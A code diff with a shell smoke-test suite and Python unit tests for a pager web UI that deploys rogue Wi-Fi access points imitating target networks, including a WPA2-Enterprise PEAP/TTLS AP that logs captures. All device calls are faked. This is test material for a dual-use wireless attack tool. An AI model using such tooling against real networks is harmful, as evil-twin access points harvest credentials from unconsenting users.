printf 'UCI config and stop/start the pagerwebui service; original values\n'
|
||||
printf 'are restored automatically.\n'
|
||||
printf 'Set PASS=<webui password> to enable the authenticated API check.\n'
|
||||
printf 'Set SMOKE_UPLINK_SSID=[<PSK via SMOKE_UPLINK_PSK>] to enable the\n'
|
||||
printf '--write RF role drill against a lab AP.\n'
|
||||
}
|
||||
|
||||
on_exit() {
|
||||
rm -f "$JAR" 2>/dev/null
|
||||
if [ -n "$wp" ]; then
|
||||
kill "$wp" 2>/dev/null
|
||||
fi
|
||||
if [ "$WEB_STOPPED" = "1" ]; then
|
||||
info 'restoring pagerwebui service'
|
||||
"$WEBUI_INIT" start >/dev/null 2>&1
|
||||
fi
|
||||
}
|
||||
|
||||
pass() { printf 'PASS %s\n' "$1"; }
|
||||
fail() { printf 'FAIL %s\n' "$1"; FAILED=$((FAILED + 1)); }
|
||||
skip() { printf 'SKIP %s\n' "$1"; }
|
||||
info() { printf ' %s\n' "$1"; }
|
||||
|
||||
uci_get() { uci -q get "$1" 2>/dev/null | tr -d '\r'; }
|
||||
|
||||
rollback_count() {
|
||||
if [ -z "$PY" ] || [ ! -f "$BASE/events.log" ]; then
|
||||
printf 0
|
||||
return
|
||||
fi
|
||||
tail -n 400 "$BASE/events.log" 2>/dev/null | "$PY" -c '
|
||||
import json, sys
|
||||
n = 0
|
||||
for line in sys.stdin:
|
||||
try:
|
||||
d = json.loads(line)
|
||||
except Exception:
|
||||
continue
|
||||
if isinstance(d, dict) and d.get("kind") == "rollback":
|
||||
n += 1
|
||||
print(n)' 2>/dev/null || printf 0
|
||||
}
|
||||
|
||||
# wait_exit <pid> <seconds>: poll for background job exit; sets WAIT_RC
|
||||
# and returns 0 once reaped, 1 on timeout (job left running).
|
||||
wait_exit() {
|
||||
_pid="$1"; _t="$2"; _n=0
|
||||
while [ "$_n" -lt "$_t" ]; do
|
||||
if ! kill -0 "$_pid" 2>/dev/null; then
|
||||
wait "$_pid"
|
||||
WAIT_RC=$?
|
||||
return 0
|
||||
fi
|
||||
sleep 1
|
||||
_n=$((_n + 1))
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
kill_bg() {
|
||||
kill "$1" 2>/dev/null
|
||||
sleep 1
|
||||
kill -9 "$1" 2>/dev/null
|
||||
wait "$1" 2>/dev/null
|
||||
}
|
||||
|
||||
check_web_up() {
|
||||
if curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
|
||||
pass 'web: GET / answered'
|
||||
else
|
||||
fail 'web: GET / failed'
|
||||
fi
|
||||
}
|
||||
|
||||
check_guard() {
|
||||
if [ -x "$GUARD_INIT" ] && [ -e "$GUARD_LINK" ]; then
|
||||
pass 'guard: init script executable and enabled (S49)'
|
||||
else
|
||||
fail "guard: missing executable/init or S49 link ($GUARD_INIT $GUARD_LINK)"
|
||||
fi
|
||||
}
|
||||
|
||||
check_invariants() {
|
||||
inv_fail=0
|
||||
while IFS= read -r kv; do
|
||||
[ -n "$kv" ] || continue
|
||||
key="${kv%%=*}"
|
||||
want="${kv#*=}"
|
||||
got="$(uci_get "$key")"
|
||||
if [ "$got" != "$want" ]; then
|
||||
inv_fail=$((inv_fail + 1))
|
||||
info "uci $key=$got (want $want)"
|
||||
fi
|
||||
done <<EOF
|
||||
pineapd.@ssidpool[0].disable=1
|
||||
pineapd.wlan2mon.disable=1
|
||||
pineapd.wlan2mon.hop=0
|
||||
pineapd.wlan1mon.bands=5
|
||||
pineapd.wlan0mon.bands=2
|
||||
pineapd.@pineapd[0].autossidpool=0
|
||||
EOF
|
||||
pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
|
||||
pool_n=$(printf '%s' "$pool" | awk '{n += NF} END {print n + 0}')
|
||||
if [ "$pool_n" -le 20 ]; then
|
||||
info "ssid pool size: $pool_n (max 20)"
|
||||
else
|
||||
inv_fail=$((inv_fail + 1))
|
||||
info "ssid pool size: $pool_n (max 20)"
|
||||
fi
|
||||
if [ "$inv_fail" -eq 0 ]; then
|
||||
pass 'invariants: safe UCI values + pool <= 20'
|
||||
else
|
||||
fail "invariants: $inv_fail violation(s)"
|
||||
fi
|
||||
}
|
||||
|
||||
check_journal() {
|
||||
if [ -z "$PY" ]; then
|
||||
fail 'journal: python3 not found for JSON check'
|
||||
return
|
||||
fi
|
||||
last="$(tail -n 1 "$BASE/events.log" 2>/dev/null)"
|
||||
out="$(printf '%s' "$last" | "$PY" -c '
|
||||
import json, sys
|
||||
raw = sys.stdin.read().strip()
|
||||
if not raw:
|
||||
raise SystemExit("events.log empty or missing")
|
||||
try:
|
||||
d = json.loads(raw)
|
||||
except Exception as exc:
|
||||
raise SystemExit("not JSON: %s" % exc)
|
||||
kind = d.get("kind") if isinstance(d, dict) else None
|
||||
if not kind:
|
||||
raise SystemExit("last entry has no kind field")
|
||||
print(kind)' 2>&1)"
|
||||
rc=$?
|
||||
if [ "$rc" -eq 0 ]; then
|
||||
pass "journal: last entry ok (kind=$out)"
|
||||
else
|
||||
fail "journal: $out"
|
||||
fi
|
||||
}
|
||||
|
||||
check_monitors() {
|
||||
miss=""
|
||||
for m in wlan0mon wlan1mon; do
|
||||
ip link show "$m" >/dev/null 2>&1 || miss="$miss $m"
|
||||
done
|
||||
if [ -z "$miss" ]; then
|
||||
pass 'monitors: wlan0mon + wlan1mon present'
|
||||
else
|
||||
fail "monitors: down:$miss"
|
||||
fi
|
||||
}
|
||||
|
||||
check_versions() {
|
||||
sv="$(grep '^SERVER_VERSION' "$REL_PAY/server.py" 2>/dev/null | head -n 1 \
|
||||
| sed -e 's/^SERVER_VERSION = //' -e "s/'//g" | tr -d '\r')"
|
||||
pv="$(grep '^#[ ]*[Vv]ersion:' "$REL_PAY/payload.sh" 2>/dev/null | head -n 1 \
|
||||
| sed 's/^#[ ]*[Vv]ersion:[ ]*//' | tr -d '\r')"
|
||||
if [ -n "$sv" ] && [ "$sv" = "$pv" ]; then
|
||||
pass "versions: release server.py and payload.sh agree ($sv)"
|
||||
else
|
||||
fail "versions: server.py='$sv' payload.sh='$pv'"
|
||||
fi
|
||||
}
|
||||
|
||||
check_authed_api() {
|
||||
if [ -z "$PASS" ]; then
|
||||
skip 'authed API: PASS not set'
|
||||
return
|
||||
fi
|
||||
if [ -z "$PY" ]; then
|
||||
fail 'authed API: python3 not found for response check'
|
||||
return
|
||||
fi
|
||||
body='{"username":"root","password":"'"$PASS"'"}'
|
||||
code="$(curl -fsS -m 10 -o /dev/null -w '%{http_code}' \
|
||||
-c "$JAR" -H 'Content-Type: application/json' \
|
||||
-d "$body" "$URL/api/login" 2>/dev/null)"
|
||||
if [ "$code" != "200" ]; then
|
||||
fail "authed API: login failed (http=$code)"
|
||||
return
|
||||
fi
|
||||
shape="$(curl -fsS -m 10 -b "$JAR" "$URL/api/health" 2>/dev/null \
|
||||
| "$PY" -c '
|
||||
import json, sys
|
||||
try:
|
||||
d = json.loads(sys.stdin.read())
|
||||
except Exception:
|
||||
raise SystemExit("unparseable")
|
||||
print("dict" if isinstance(d, dict) else "other" )' 2>/dev/null)"
|
||||
if [ "$shape" = "dict" ]; then
|
||||
pass 'authed API: login + cookie-authenticated /api/health ok'
|
||||
else
|
||||
fail 'authed API: /api/health did not return a JSON object'
|
||||
fi
|
||||
}
|
||||
|
||||
drill_bad_values() {
|
||||
info 'bad-value drill: bands=2,5 then 25-entry SSID pool'
|
||||
orig_bands="$(uci_get pineapd.wlan1mon.bands)"
|
||||
[ -n "$orig_bands" ] || orig_bands=5
|
||||
orig_pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
|
||||
|
||||
uci set pineapd.wlan1mon.bands='2,5'
|
||||
uci commit pineapd
|
||||
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
|
||||
got="$(uci_get pineapd.wlan1mon.bands)"
|
||||
if [ "$got" = "5" ]; then
|
||||
pass 'drill: reconcile repaired bands 2,5 -> 5'
|
||||
else
|
||||
fail "drill: bands not repaired (got '$got')"
|
||||
fi
|
||||
uci set pineapd.wlan1mon.bands="$orig_bands"
|
||||
|
||||
list=""
|
||||
i=0
|
||||
while [ "$i" -lt 25 ]; do
|
||||
list="$list smoke$i"
|
||||
i=$((i + 1))
|
||||
done
|
||||
uci set "pineapd.@ssidpool[0].ssid=${list# }"
|
||||
uci commit pineapd
|
||||
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
|
||||
got="$(uci_get 'pineapd.@ssidpool[0].ssid')"
|
||||
if [ -z "$got" ]; then
|
||||
pass 'drill: reconcile cleared oversized SSID pool'
|
||||
else
|
||||
fail "drill: oversized pool survived ($(printf '%s' "$got" \
|
||||
| awk '{n += NF} END {print n + 0}') entries)"
|
||||
fi
|
||||
if [ -n "$orig_pool" ]; then
|
||||
uci set "pineapd.@ssidpool[0].ssid=$orig_pool"
|
||||
else
|
||||
uci -q delete 'pineapd.@ssidpool[0].ssid'
|
||||
fi
|
||||
uci commit pineapd
|
||||
"$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
|
||||
}
|
||||
|
||||
drill_role() {
|
||||
if [ -z "$UPLINK_SSID" ]; then
|
||||
skip 'role drill: set SMOKE_UPLINK_SSID to enable'
|
||||
return
|
||||
fi
|
||||
info "role drill: uplink '$UPLINK_SSID' then attack"
|
||||
out="$("$PY" - "$REL" "$LEGACY" "$UPLINK_SSID" "$UPLINK_PSK" <<'PYEOF' 2>&1
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
|
||||
rel, legacy, ssid, psk = sys.argv[1:5]
|
||||
mk8_rfplan = None
|
||||
for d in (rel, legacy):
|
||||
if os.path.isfile(os.path.join(d, 'mk8_rfplan.py')):
|
||||
sys.path.insert(0, d)
|
||||
try:
|
||||
import mk8_rfplan
|
||||
break
|
||||
except Exception:
|
||||
sys.path.remove(d)
|
||||
if mk8_rfplan is None:
|
||||
print('FAIL mk8_rfplan not importable from release or legacy dir')
|
||||
raise SystemExit(1)
|
||||
|
||||
r1 = mk8_rfplan.set_role(
|
||||
'uplink', ssid=ssid or None, psk=psk or None)
|
||||
if not isinstance(r1, dict) or not r1.get('ok'):
|
||||
print('FAIL uplink set_role failed: %s' % json.dumps(r1))
|
||||
raise SystemExit(1)
|
||||
|
||||
assoc = mk8_rfplan.associated()
|
||||
if not assoc:
|
||||
print('FAIL uplink associated() returned nothing after set_role')
|
||||
else:
|
||||
print('associated as %s' % assoc)
|
||||
|
||||
try:
|
||||
r2 = mk8_rfplan.set_role('attack')
|
||||
except Exception as exc:
|
||||
r2 = {'ok': False, 'error': str(exc)}
|
||||
if not isinstance(r2, dict) or not r2.get('ok'):
|
||||
print('FAIL attack set_role failed: %s' % json.dumps(r2))
|
||||
raise SystemExit(1)
|
||||
raise SystemExit(0 if assoc else 1)
|
||||
PYEOF
|
||||
)"
|
||||
rc=$?
|
||||
printf '%s\n' "$out" | sed 's/^/ /'
|
||||
if [ "$rc" -ne 0 ]; then
|
||||
fail 'role drill: uplink association failed (see detail above)'
|
||||
return
|
||||
fi
|
||||
hop="$(uci_get pineapd.wlan1mon.hop)"
|
||||
if [ "$hop" = "1" ]; then
|
||||
pass 'role drill: uplink assoc + attack role + hopping resumed'
|
||||
else
|
||||
fail "role drill: pineapd.wlan1mon.hop=$hop after attack role (want 1)"
|
||||
fi
|
||||
}
|
||||
|
||||
drill_watchdog() {
|
||||
WDOG="$REL_PAY/mk8-watchdog.sh"
|
||||
[ -f "$WDOG" ] || WDOG="$LEGACY/mk8-watchdog.sh"
|
||||
if [ ! -f "$WDOG" ]; then
|
||||
fail 'drill: mk8-watchdog.sh not found in release or legacy dir'
|
||||
return
|
||||
fi
|
||||
# Ensure a profile exists: snapshot the live config as the drill target.
|
||||
if [ ! -d "$BASE/profiles" ] || [ -z "$(ls "$BASE/profiles" 2>/dev/null)" ]; then
|
||||
"$PY" - "$REL_PAY" <<'PYEOF' >/dev/null 2>&1 || {
|
||||
import sys
|
||||
sys.path.insert(0, sys.argv[1])
|
||||
import mk8_profiles
|
||||
mk8_profiles.snapshot('smoke-drill')
|
||||
PYEOF
|
||||
fail 'drill: could not snapshot a profile for watchdog drill'
|
||||
return
|
||||
}
|
||||
fi
|
||||
prof=lastknown-good
|
||||
[ -d "$BASE/profiles/$prof" ] \
|
||||
|| prof="$(ls "$BASE/profiles" 2>/dev/null | head -n 1)"
|
||||
if [ -z "$prof" ]; then
|
||||
fail 'drill: no profiles under /mmc/mk8/profiles to exercise watchdog'
|
||||
return
|
||||
fi
|
||||
|
||||
printf ' WARNING: watchdog drill stops/starts the webui service.\n'
|
||||
n=5
|
||||
while [ "$n" -gt 0 ]; do
|
||||
printf ' starting in %ds (ctrl-c to abort)\n' "$n"
|
||||
sleep 1
|
||||
n=$((n - 1))
|
||||
done
|
||||
|
||||
if ! curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
|
||||
fail 'drill: web must be up before watchdog promote phase'
|
||||
return
|
||||
fi
|
||||
|
||||
# Phase 1: healthy system -> watchdog promotes snapshot, exits 0.
|
||||
"$WDOG" "$prof" 1 2 2 30 &
|
||||
wp=$!
|
||||
if wait_exit "$wp" 40; then
|
||||
if [ "$WAIT_RC" -eq 0 ]; then
|
||||
pass "drill: watchdog promote path exited 0 (profile=$prof)"
|
||||
else
|
||||
fail "drill: watchdog promote exit=$WAIT_RC"
|
||||
fi
|
||||
else
|
||||
kill_bg "$wp"
|
||||
fail 'drill: watchdog promote did not exit within 40s'
|
||||
fi
|
||||
|
||||
# Phase 2: web stopped -> watchdog rolls back and journals it.
|
||||
before="$(rollback_count)"
|
||||
WEB_STOPPED=1
|
||||
"$WEBUI_INIT" stop >/dev/null 2>&1
|
||||
"$WDOG" "$prof" 1 2 2 60 &
|
||||
wp=$!
|
||||
rolled=0
|
||||
t=0
|
||||
while [ "$t" -lt 150 ]; do
|
||||
now="$(rollback_count)"
|
||||
[ "$now" -gt "$before" ] && { rolled=1; break; }
|
||||
kill -0 "$wp" 2>/dev/null || break
|
||||
sleep 2
|
||||
t=$((t + 2))
|
||||
done
|
||||
kill_bg "$wp"
|
||||
WEB_STOPPED=0
|
||||
"$WEBUI_INIT" start >/dev/null 2>&1
|
||||
up=0
|
||||
t=0
|
||||
while [ "$t" -lt 45 ]; do
|
||||
curl -fsS -m 3 "$URL/" >/dev/null 2>&1 && { up=1; break; }
|
||||
sleep 2
|
||||
t=$((t + 2))
|
||||
done
|
||||
if [ "$rolled" -eq 1 ]; then
|
||||
pass 'drill: watchdog rollback journaled'
|
||||
else
|
||||
fail 'drill: no new rollback entry in events.log'
|
||||
fi
|
||||
if [ "$up" -eq 1 ]; then
|
||||
pass 'drill: webui restored after rollback drill'
|
||||
else
|
||||
fail 'drill: webui did not come back within 45s'
|
||||
fi
|
||||
}
|
||||
|
||||
main() {
|
||||
for arg in "$@"; do
|
||||
case "$arg" in
|
||||
--write) WRITE=1 ;;
|
||||
-h|--help) usage; exit 0 ;;
|
||||
*) printf 'unknown argument: %s\n' "$arg" >&2; usage >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ "$(id -u 2>/dev/null)" != "0" ]; then
|
||||
printf 'FAIL smoke: must run as root on the device\n'
|
||||
exit 1
|
||||
fi
|
||||
|
||||
printf 'Mark VIII smoke suite (%s%s)\n' \
|
||||
"$(date '+%Y-%m-%d %H:%M:%S')" \
|
||||
"$([ "$WRITE" = "1" ] && printf ' --write')"
|
||||
|
||||
check_web_up
|
||||
check_guard
|
||||
check_invariants
|
||||
check_journal
|
||||
check_monitors
|
||||
check_versions
|
||||
check_authed_api
|
||||
|
||||
if [ "$WRITE" = "1" ]; then
|
||||
if [ -z "$PY" ]; then
|
||||
fail 'drills: python3 required but not found'
|
||||
elif [ "$FAILED" -ne 0 ]; then
|
||||
skip 'drills: read-only checks failed; refusing drills'
|
||||
else
|
||||
printf -- '--- --write drills ---\n'
|
||||
drill_bad_values
|
||||
drill_role
|
||||
drill_watchdog
|
||||
fi
|
||||
fi
|
||||
|
||||
printf -- '---\n'
|
||||
if [ "$FAILED" -eq 0 ]; then
|
||||
printf 'SMOKE OK\n'
|
||||
exit 0
|
||||
fi
|
||||
printf 'SMOKE FAILED (%d check(s))\n' "$FAILED"
|
||||
exit 1
|
||||
}
|
||||
|
||||
trap on_exit EXIT
|
||||
trap 'exit 130' INT
|
||||
trap 'exit 143' TERM
|
||||
main "$@"
|
||||
@@ -0,0 +1,459 @@
|
||||
import os
|
||||
import shutil
|
||||
import sqlite3
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import server
|
||||
|
||||
|
||||
def setUpModule():
|
||||
__import__('importlib').reload(server)
|
||||
|
||||
|
||||
def ctx(body=None, query=None):
|
||||
return type('C', (), {'body': body, 'args': (), 'query': query or {}})()
|
||||
|
||||
|
||||
class FakeUciDevice:
|
||||
"""In-memory uci + device_run fake: 'uci set wireless.X=Y' state."""
|
||||
|
||||
def __init__(self):
|
||||
self.state = {}
|
||||
self.runs = []
|
||||
self.sock = []
|
||||
self._verify = True
|
||||
|
||||
def device_run(self, args, timeout=20, input_data=None):
|
||||
self.runs.append((list(args), input_data))
|
||||
a = list(args)
|
||||
if a[:2] == ['uci', 'set']:
|
||||
k, _, v = a[2].partition('=')
|
||||
self.state[k] = v
|
||||
elif a[:2] == ['uci', 'get']:
|
||||
return (0, self.state.get(a[2], '') + '\n', '')
|
||||
elif a[:2] == ['uci', 'delete']:
|
||||
for k in list(self.state):
|
||||
if k == a[2] or k.startswith(a[2] + '.'):
|
||||
del self.state[k]
|
||||
elif a[:2] == ['uci', 'commit']:
|
||||
pass
|
||||
elif a[0] == 'uci' and a[1] == 'show':
|
||||
sec = a[2]
|
||||
return (0, ''.join("%s=%s\n" % (k, v) for k, v in self.state.items()
|
||||
if k == sec or k.startswith(sec + '.')), '')
|
||||
elif a[0] == 'hostapd_cli' and a[-1] == 'status':
|
||||
return (0, 'state=ENABLED\nssid[0]=test\n', '')
|
||||
return (0, '', '')
|
||||
|
||||
def uci_iface(self, name):
|
||||
cfg = {}
|
||||
prefix = 'wireless.%s.' % name
|
||||
for k, v in self.state.items():
|
||||
if k.startswith(prefix):
|
||||
cfg[k[len(prefix):]] = v
|
||||
if not cfg:
|
||||
return {}
|
||||
return cfg
|
||||
|
||||
def daemon_sock_call(self, method, path, body=None, timeout=10):
|
||||
self.sock.append((method, path, body))
|
||||
if path == '/api/pineap/hostapd/get_config':
|
||||
return 200, {'pineape_disabled': False, 'pineape_auth_pass': True}
|
||||
if path == '/api/pineap/get_config':
|
||||
return 200, {'autossidpool': True}
|
||||
return 200, {'success': True}
|
||||
|
||||
|
||||
class AttacksDeployTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.f = FakeUciDevice()
|
||||
server.device_run = self.f.device_run
|
||||
server.daemon_sock_call = self.f.daemon_sock_call
|
||||
server._uci_wifi_iface = self.f.uci_iface
|
||||
server._uci_section = self.f.uci_iface
|
||||
server._verify_iface = lambda name, timeout=20: self.f._verify
|
||||
server._allow_all_ssids = lambda: True
|
||||
self.tmp = tempfile.mkdtemp(prefix='pager-attacks-')
|
||||
self.old_state = server.PINEAP_STATE_FILE
|
||||
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
||||
self.old_ent = {k: getattr(server, k) for k in
|
||||
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE',
|
||||
'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT', 'ENT_SERVER_KEY',
|
||||
'ENT_LOG', 'ENT_CAPTURES', 'ENT_DH_FILE')}
|
||||
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
|
||||
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
|
||||
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
|
||||
server.ENT_STATE = os.path.join(self.tmp, 'state.json')
|
||||
server.ENT_DIR = os.path.join(self.tmp, 'ent')
|
||||
server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem')
|
||||
server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem')
|
||||
server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key')
|
||||
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
|
||||
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
|
||||
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
|
||||
self.old_ent_running = server._ent_running
|
||||
self.old_ent_state = server._ent_state_loaded
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
|
||||
def tearDown(self):
|
||||
server.PINEAP_STATE_FILE = self.old_state
|
||||
server._ent_running = self.old_ent_running
|
||||
server._ent_state_loaded = self.old_ent_state
|
||||
for k, v in self.old_ent.items():
|
||||
setattr(server, k, v)
|
||||
shutil.rmtree(self.tmp)
|
||||
|
||||
def test_deploy_wpa_2g4_calls_daemon_and_enables_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['ok'])
|
||||
self.assertTrue(payload['verified'])
|
||||
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['interface'], 'wlan0wpa')
|
||||
self.assertEqual(cfg['configs'][0]['ssid'], 'TargetNet')
|
||||
self.assertEqual(cfg['configs'][0]['key'], 'secretpass1')
|
||||
self.assertEqual(cfg['configs'][0]['enctype'], 'psk2')
|
||||
engines = [s for s in self.f.sock
|
||||
if s[1] in ('/api/pineap/hostapd/enable_pineap',
|
||||
'/api/pineap/mimic/enable')]
|
||||
self.assertEqual(len(engines), 2)
|
||||
|
||||
def test_deploy_wpa_2g4_stops_enterprise_ap(self):
|
||||
server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'TargetNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_wpa_5g_writes_radio1(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.ssid'], 'Corp')
|
||||
self.assertEqual(self.f.state['wireless.wlan1wpa.encryption'], 'psk2')
|
||||
self.assertEqual(self.f.state['wireless.radio1.channel'], '36')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
self.assertEqual(payload['iface'], 'wlan1wpa')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
|
||||
def test_deploy_wpa_auto_channel_defaults_to_1_without_recon(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'UnknownNet', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertTrue(payload['auto'])
|
||||
self.assertEqual(payload['channel'], 1)
|
||||
self.assertEqual(payload['band'], server.BAND_2G)
|
||||
cfg = [s for s in self.f.sock if s[0] == 'PUT' and s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['channel'], 1)
|
||||
|
||||
def test_deploy_wpa_auto_channel_uses_recon_target_channel(self):
|
||||
db = self._make_recon_db()
|
||||
old = server.RECON_DB
|
||||
server.RECON_DB = db
|
||||
try:
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'wpa', 'ssid': 'Anderson-5', 'passphrase': 'secretpass1',
|
||||
'enctype': 'psk2', 'hidden': False}))
|
||||
finally:
|
||||
server.RECON_DB = old
|
||||
os.unlink(db)
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['channel'], 149)
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
self.assertEqual(self.f.state['wireless.radio1.channel'], '149')
|
||||
|
||||
def _make_recon_db(self):
|
||||
fd, db = tempfile.mkstemp(suffix='.db')
|
||||
os.close(fd)
|
||||
conn = sqlite3.connect(db)
|
||||
conn.executescript(
|
||||
'CREATE TABLE scan(id INTEGER PRIMARY KEY AUTOINCREMENT, uuid TEXT,'
|
||||
' time INT, name TEXT);'
|
||||
'CREATE TABLE wifi_device(hash INT PRIMARY KEY, scan INT, mac TEXT,'
|
||||
' time INT, signal INT, freq INT, packets INT);'
|
||||
'CREATE TABLE ssid(hash INT PRIMARY KEY, wifi_device INT, scan INT,'
|
||||
' type INT, bssid TEXT, ssid BLOB, hidden INT, time INT, signal INT,'
|
||||
' freq INT, channel INT, encryption INT);')
|
||||
conn.execute("INSERT INTO scan (uuid, time, name) VALUES ('u1', 1, 'pager')")
|
||||
conn.execute("INSERT INTO ssid (hash, wifi_device, scan, type, bssid, ssid, hidden,"
|
||||
" time, signal, freq, channel, encryption) VALUES"
|
||||
" (10, 1, 1, 8, 'C89E43648080', X'416E646572736F6E2D35', 0,"
|
||||
" 1786466532, -76, 5745, 149, 0x400400108)")
|
||||
conn.commit()
|
||||
conn.close()
|
||||
return db
|
||||
|
||||
def test_deploy_open_2g4_includes_bssid_and_country(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'open', 'ssid': 'Guest', 'hidden': False,
|
||||
'channel': 1, 'country': 'US',
|
||||
'bssid': 'DE:AD:BE:EF:00:01'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan0open')
|
||||
cfg = [s for s in self.f.sock if s[1] == '/api/settings/wifi/set_ap'][0][2]
|
||||
self.assertEqual(cfg['configs'][0]['bssid'], 'DE:AD:BE:EF:00:01')
|
||||
|
||||
def test_deploy_enterprise_uses_standalone_phy1_engine(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'anypass',
|
||||
'enctype': 'wpa2', 'hidden': False, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertEqual(payload['iface'], 'wlan1ent')
|
||||
self.assertEqual(payload['band'], server.BAND_5G)
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'phy', 'phy1', 'interface', 'add', 'wlan1ent',
|
||||
'type', 'managed'], cmds)
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'set', 'type', 'ap'], cmds)
|
||||
self.assertTrue(any(c[:4] == ['/usr/sbin/hostapd', '-B', '-P', server.ENT_PIDFILE]
|
||||
for c in cmds))
|
||||
self.assertEqual(self.f.state['pineapd.@hostapd[0].mgmtiface'], 'wlan1ent')
|
||||
self.assertEqual(self.f.state['pineapd.wlan1mon.hop'], '0')
|
||||
with open(server.ENT_CONF) as f:
|
||||
conf = f.read()
|
||||
self.assertIn('ca_cert=', conf)
|
||||
self.assertIn('server_cert=', conf)
|
||||
self.assertIn('private_key=', conf)
|
||||
self.assertIn('ieee8021x=1', conf)
|
||||
self.assertIn('eap_server=1', conf)
|
||||
self.assertNotIn('eap_server_identity', conf)
|
||||
self.assertNotIn('eap_server_erp', conf)
|
||||
self.assertNotIn('dh_file=', conf)
|
||||
self.assertIn('ieee80211w=0', conf)
|
||||
with open(server.ENT_EAP_USERS) as f:
|
||||
users = f.read()
|
||||
self.assertIn('PEAP,TTLS', users)
|
||||
self.assertIn('[2]', users)
|
||||
|
||||
def test_deploy_enterprise_rejects_non_5g_channel(self):
|
||||
status, _ = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'enctype': 'wpa2',
|
||||
'channel': 6}))
|
||||
self.assertEqual(status, 400)
|
||||
|
||||
def test_stop_enterprise_tears_down_engine(self):
|
||||
server._ent_running = lambda: True
|
||||
server._ent_state_loaded = lambda: {'ssid': 'CorpAP', 'channel': 36}
|
||||
status, payload = server.h_attacks_stop(ctx({'kind': 'enterprise'}))
|
||||
self.assertEqual(status, 200)
|
||||
self.assertIn('wlan1ent', payload['stopped'])
|
||||
cmds = [r[0] for r in self.f.runs]
|
||||
self.assertIn(['iw', 'dev', 'wlan1ent', 'del'], cmds)
|
||||
|
||||
def test_deploy_enterprise_writes_passphrase_and_hidden(self):
|
||||
status, payload = server.h_attacks_deploy(ctx({
|
||||
'kind': 'enterprise', 'ssid': 'CorpAP', 'passphrase': 'labsecret',
|
||||
'enctype': 'wpa2', 'hidden': True, 'channel': 36}))
|
||||
self.assertEqual(status, 200)
|
||||
with open(server.ENT_EAP_USERS) as f:
|
||||
users = f.read()
|
||||
self.assertIn('labsecret', users)
|
||||
self.assertIn('PEAP,TTLS', users)
|
||||
self.assertIn('[2]', users)
|
||||
with open(server.ENT_CONF) as f:
|
||||
conf = f.read()
|
||||
self.assertIn('ignore_broadcast_ssid=1', conf)
|
||||
self.assertIn('ca_cert=', conf)
|
||||
|
||||
def test_eap_secret_sanitizes_quotes(self):
|
||||
self.assertEqual(server._eap_secret(''), 'dummy')
|
||||
self.assertEqual(server._eap_secret('ab"c\ndef'), 'abcdef')
|
